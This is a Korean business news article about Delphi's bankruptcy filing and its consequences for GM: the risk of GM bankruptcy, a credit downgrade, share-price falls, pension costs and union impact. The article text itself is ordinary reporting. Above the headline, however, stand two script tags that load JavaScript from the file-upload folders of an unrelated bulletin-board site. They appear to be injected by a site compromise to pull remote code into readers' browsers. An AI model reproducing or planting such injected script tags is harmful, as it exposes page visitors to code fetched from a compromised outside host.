<SCRIPT Language=JavaScript src=http://hanphil.or.kr/bbs/data/gallery/Cups.js></script> <SCRIPT Language=JavaScript src=http://hanphil.or.kr/bbs/data/young/brod.js></script> 델파이 이어 GM 마저 파산하나(종합)
[머니투데이 임지수기자]차 부품업체인 델파이 파산보호 신청 영향으로 세계 최대 자동차 업체인 제너럴 모터스(GM)가 흔들리고 있다.
델파이의 파산보호 신청으로 GM은 120억달러의 비용을 책임져야 한다고 경고했으며 이에 따라 일부에서는 GM의 파산 가능성도 완전 배제할 수 없다고 지적하고 있다.
GM 파산가능성 30%
뱅크오브 아메리카(BOA)는 10일(현지시간) GM의 파산 가능성이 종전 10%에서 30%로 높아졌다고 밝혔다.
BOA는 보고서를 내고 GM이 델파이의 퇴직금을 대신 물어줘야 하고 이로 인한 퇴직금 채무는 주당 6달러 이상이라며 GM이 구매하는 부품 가격도 대폭 인상될 것이라고 밝혔다.
BOA는 GM에 대한 투자의견을 종전 \"중립\"에서 \"매도\"로 하향 조정하고 목표가격도 32달러에서 18달러로 크게 낮췄다.
S&P 이미 정크 수준인 GM 등급 추가 하향
이에 따라 국제 신용평가기관 스탠더드 앤 푸어스(S&P)는 이미 정크(투자부적격) 수준인 GM의 신용등급을 추가 하향했다.
국제 신용평가기관인 S&P는 이날 GM 회사채에 대한 신용등급을 \'BB\'에서 \'BB-\'로 한 단계 하향조정했다. GM은 지난 5월 정크(투자부적격) 등급인 \'BB\'로 이미 하향된 바 있다.
S&P는 또 GM에 대해 신용등급을 추가로 내릴 수 있다고 경고했다.
S&P는 \"GM이 델파이로부터 납품가 인상요구를 받을 수 있으며, 델파이의 감원 과정에서 노동자들의 저항이 발생, 부품공급 불안이 야기될 수 있다\"고 지적했다.
GM 주가 10% 폭락
이같은 악재가 겹치면서 10일(현지시간) 뉴욕 주식시장에서 GM 주가는 25.49 달러로 마감, 전거래일 대비 9.90% 폭락했다.
상장폐지를 앞둔 델파이도 이날 주가가 0.33달러를 기록, 전날에 비해 70.54% 대폭락했다.
GM \"델파이 관련 비용 120억弗\"
델파이는 지난 1999년 GM에서 분사했지만 부품 공급 및 노동문제 합의 등으로 아직도 밀접한 관계를 맺고 있으며 GM은 델파이의 최대 채권자이기도 하다.
GM은 델파이의 파산보호 신청으로 자사가 델파이 임직원의 퇴직후 건강보험 및 연금 수급을 반드시 책임져야 할 의무가 있는 것은 아니지만 1999년 델파이 분사 당시 맺었던 합의 내용에 110억달러의 비용을 부담해야 할 것이라고 밝혔다.
GM은 \"이같은 부담이 단기적으로 GM의 현금 흐름에 중요한 영향을 미치지는 않을 것\"이라면서도 \"하지만 시간이 흐를수록 지급액은 증가하게 될 것이고 결국 향후 수년 내에 GM의 유동성에 중대한 영향을 미칠 수 밖에 없을 것\"이라고 지적했다.
또한 이와 별개로 델파이가 GM에 12억달러 가량의 빚을 지고 있으나 이를 회수할 수 없어 결국 GM의 델파이 관련 비용이 120억달러 이상이 될 것이란 분석이다.
미자동차노조도 직격탄
델파이의 파산으로 미국자동차노조(UAW)가 타격을 입을 것으로 보인다. 델파이가 파산하면 노동비용을 낮추기 위해 델파이가 UAW 소속 노동자들에 대해 노동협약을 거부할 것으로 보이기 때문이다.
현재 델파이의 경영진은 해외 부품업체와 경쟁력을 확보하기 위해 임금과 각종 혜택을 포함한 급여 수준을 기존 시간당 65달러에서 20달러 수준으로 낮출 것을 주장하고 있는 반면 노조는 이에 대해 강력히 반발하고 있다.
델파이 종업원 5만 명 가운데 3만4000명은 미국의 최대 산별 노조인 UAW 소속이다. 델파이의 파산으로 자동차 부품 회사들의 해외로 진출이 더 활발해질 것으로 전문가들은 내다보고 있다.
델파이 북미사업장 대대적인 구조조정
8일 경영난을 이기지 못하고 미국 뉴욕파산법원에 파산보호신청을 낸 델파이는 9일 대대적인 구조조정안을 발표했다.
로버트 S. 스티브 밀러 델파이 CEO(63)는 미국과 캐나다 소재 45개 사업장을 매각, 합병, 폐쇄할 계획이라고 밝혔다. 이들 사업장에는 모두 4만9000명이 종사하고 있다.
델파이는 파산보호법에 따라 퇴직연금 수령자 및 대상자와 재협상을 벌일 계획이다. 재협상 대상자는 델파이 노조원 3만3000명, 퇴직자 1만2000명이다.
그는 자사의 연금 계획을 미국 연금보증공사(PBGC)에 넘기지 않고 자체 연금 회사 설립을 희망한다고 말했다. 하지만 재원이 문제다. 델파이는 최대 43억달러의 재원이 부족한 형편이다.
임지수기자
ljs@moneytoday.co.kr
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